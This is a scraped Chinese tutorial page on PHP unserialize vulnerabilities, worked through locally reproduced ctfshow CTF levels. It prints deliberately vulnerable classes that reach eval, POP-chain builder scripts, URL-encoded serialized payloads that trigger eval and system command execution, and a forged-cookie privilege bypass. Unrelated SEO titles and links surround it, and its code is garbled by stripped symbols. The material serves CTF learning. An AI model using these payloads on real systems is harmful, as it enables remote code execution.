当前位置: 首页 > news >正文

微信上浏览自己做的网站百度导航下载2022最新版官网

微信上浏览自己做的网站,百度导航下载2022最新版官网,郴州建设局门户网站,网站建设用什么软件好反序列化中生成对象里面的值#xff0c;是由反序列化里面的值决定#xff0c;与原类中预定义的值的值无关#xff0c;穷反序列化的对象可以使用类中的变量和方法 案例分析 反序列化中的值可以覆盖原类中的值 我们创建一个对象#xff0c;对象创建的时候触发了construct方…反序列化中生成对象里面的值是由反序列化里面的值决定与原类中预定义的值的值无关穷反序列化的对象可以使用类中的变量和方法 案例分析 反序列化中的值可以覆盖原类中的值 我们创建一个对象对象创建的时候触发了construct方法输出字符串在程序结束后执行了系统命令ipconfig 我们修改一下条件将创建B()对象的方式使用unserialize()进行传入数据我们可以看到construct()函数没有被执行但是对象销毁的时候还是调用了__destruct()函数执行了系统命令 修改一下源码将ipconfig这个操作使用一个参数进行接收传递我们这样的话我们构造x参数的值的时候我们就可以将这个变量转化为我们想要执行的命令如图 我们可以将cmd命令转化为我们指定的命令例如ver然后修改对应的值我们就可以执行我们想要的命令例如我们想要执行ver命令我们就把ipconfig改成ver并修改参数值即可返回我们想要执行的结果 接下来用几个案例来解释php反序列化的原理 案例分析 案例1 案例源码 ?php error_reporting(0); highlight_file(__FILE__); class test{function __destruct(){echo destruct... br;eval($_GET[cmd]);} } unserialize($_GET[u]); ? 通过代码分析我们可以知道反序列化接收一个数据如果我们想要执行eval函数我们就要触发__destruct()方法为此我们需要创建一个对象即可触发然后再传递一个cmd参数进行命令执行即可 pop构造代码 ?php class test{} $c new test(); echo serialize($c); echo br; echo urlencode(serialize($c)) ? 构造结果 http://127.0.0.1/ctfshow/demo1.php?uO:4:test:0:{}cmdphpinfo(); 执行结果 将phpinfo()改为了system(系统命令)就可以执行系统命令 案例2 案例源码 ?php error_reporting(0); highlight_file(__FILE__); class lemon{protected $ClassObj;function __construct(){$this-ClassObjnew normal();}function __destruct(){$this-ClassObj-action();}}class normal{function action(){echo hello;}}class evil{private $data;function action(){eval($this-data);} }unserialize($_GET[d]); ? 通过代码我们可以看到数据是通过unserialize进行传输为此我们就可以利用传入的参数进行控制代码的显示我们使用我们创建一个序列化的lemon对象将其中的construct函数中的new normal()改为new evil()为后面的命令执行做准备然后因为eval里面传递的是data的值我们可以将其赋值为我们想要执行的命令就可以实现命令执行 pop构造源码 ?php class lemon{protected $ClassObj;function __construct(){$this-ClassObj new evil();} } class evil{private $dataphpinfo();; }echo serialize(new lemon()); ? 因为我们是通过url传参可能在传递的过程中会出现问题为此我们进行URL编码进行url传递 O%3A5%3A%22lemon%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00classObj%22%3BN%3Bs%3A8%3A%22ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D 结果展示 执行了phpinfo()的效果 本地复现了ctfshow的几个关卡来学习php反序列化 案例3 ?php error_reporting(0); highlight_file(__FILE__);class ctfShowUser{public $usernamexxxxxx;public $passwordxxxxxx;public $isVipfalse;public function checkVip(){return $this-isVip;}public function login($u,$p){if($this-username$u$this-password$p){$this-isViptrue;}return $this-isVip;}public function vipOneKeyGetFlag(){if($this-isVip){include(flag.php);}else{echo no vip, no flag;}} }$username$_GET[username]; $password$_GET[password];if(isset($username) isset($password)){$user new ctfShowUser();if($user-login($username,$password)){if($user-checkVip()){$user-vipOneKeyGetFlag();}}else{echo no vip,no flag;} } 这题和序列化无关根据要求传入username和password的值即可 127.0.0.1/ctfshow/ser1.php?usernamexxxxxxpasswordxxxxxx 结果展示 案例4 ?php error_reporting(0); highlight_file(__FILE__);class ctfShowUser{public $usernamexxxxxx;public $passwordxxxxxx;public $isVipfalse;public function checkVip(){return $this-isVip;}public function login($u,$p){return $this-username$u$this-password$p;}public function vipOneKeyGetFlag(){if($this-isVip){global $flag;include(flag.php);}else{echo no vip, no flag;}} }$username$_GET[username]; $password$_GET[password];if(isset($username) isset($password)){$user unserialize($_COOKIE[user]); if($user-login($username,$password)){if($user-checkVip()){$user-vipOneKeyGetFlag();}}else{echo no vip,no flag;} } 从代码中分析绕过我们要获取flag需要调用vipOneKeyGetFlag(),但是这个函数里面使用了isVip这个变量被赋值为flase又因为传参的时候是通过反序列化接收的cookie的值我们可以通过这个反序列化函数传入一个isVip变量为ture的值然后获取flag pop构造源码 ?php class ctfShowUser{public $usernamexxxxxx;public $passwordxxxxxx;public $isViptrue; } $c new ctfShowUser(); echo serialize($c); echo br; echo urlencode(serialize($c)) ? 为了方便传输我们要进行url编码即 O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D 结果展示 案例5 ?php highlight_file(__FILE__); class ctfShowUser{public $usernamexxxxxx;public $passwordxxxxxx;public $isVipfalse;public function checkVip(){return $this-isVip;}public function login($u,$p){return $this-username$u$this-password$p;}public function vipOneKeyGetFlag(){if($this-isVip){global $flag;if($this-username!$this-password){include(flag.php);}}else{echo no vip, no flag;}} }$username$_GET[username]; $password$_GET[password];if(isset($username) isset($password)){$user unserialize($_COOKIE[user]); if($user-login($username,$password)){if($user-checkVip()){$user-vipOneKeyGetFlag();}}else{echo no vip,no flag;} } 通过代码分析我们可以知道这题的关键就是所给的username的值和password的值相等但是触发条件有不相等我们就需要使用反序列化函数将其中的username和password分别改为不同的值进行传参然后触发条件即可 我们可以构造源码 ?php class ctfShowUser{public $usernamex;public $passwordy;public $isViptrue; } $c new ctfShowUser(); echo serialize($c); echo br; echo urlencode(serialize($c)) ? 为了方便传输我们要进行url编码即 O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D 结果展示 案例6 ?php //eval(phpinfo();); error_reporting(0); highlight_file(__FILE__);class ctfShowUser{private $usernamexxxxxx;private $passwordxxxxxx;private $isVipfalse;private $class info;public function __construct(){$this-classnew info();}public function login($u,$p){return $this-username$u$this-password$p;}public function __destruct(){$this-class-getInfo();}}class info{private $userxxxxxx;public function getInfo(){return $this-user;} }class backDoor{private $code;public function getInfo(){eval($this-code);} }$username$_GET[username]; $password$_GET[password];if(isset($username) isset($password)){$user unserialize($_GET[user]);$user-login($username,$password); } 环境复现有点问题在网上找了个结果的截图 写在最后 如有错误请及时指出感谢
http://www.hkea.cn/news/14566153/

相关文章:

  • 一般网站栏目结构网站开发中网页之间的链接形式有什么
  • wordpress手机端主题插件seo网站优化网站编辑招聘
  • 网站开发工作进度表中国新闻社和新华社有什么区别
  • 新郑龙湖网站建设电子商务网站建设也管理
  • 南阳网站排名seo诊断工具
  • 免费空间如何放网站如何做网络营销推广工作
  • 建网站啦动漫做a视频网站有哪些
  • 网上做任务网站有哪些富阳建设局网站电话
  • 网站免费认证联盟合肥哪里有做网站的
  • 重庆网站seo多少钱上海发布官网app下载
  • 网站维护托管深圳移动网站建设公司价格
  • dw建设的网站上传connect wordpress 主题
  • 公司网站建设工作通知自己在线制作logo免费 生成器
  • 申请自助网站wordpress title修改
  • 怎么给网站做seo优化新手如何优化网站排名
  • 建网站用哪个好做网站一年赚多少钱
  • 网站建设系统怎么样女性健康网站源码
  • 网站建设企业网站宿迁商城网站建设
  • 哪些公司做DZ网站维护做悬浮导航的网站
  • 商务网站建设详细步骤洋气的文化传媒公司名字
  • jsp网站服务器如何做防护电子商务网站建设和推广论文
  • 哲学专业特色建设网站注册公司网站源码
  • 做交易网站存在什么风险网站搜索引擎优化报告
  • 贵州省建设厅考证官方网站盈润企业网站管理系统
  • 网站运营外包公司网站做百度推广吗
  • 门窗企业网站建设网站建设彩铃语
  • 网站建设衤金手指花总十五唐山公司做网站
  • 栾城区城乡建设局网站关键词排名优化提升培训
  • 服装电子商务网站建设3000字wordpress商城主题模板
  • 建设部职业资格注册中心网站网站建设 铭阳传媒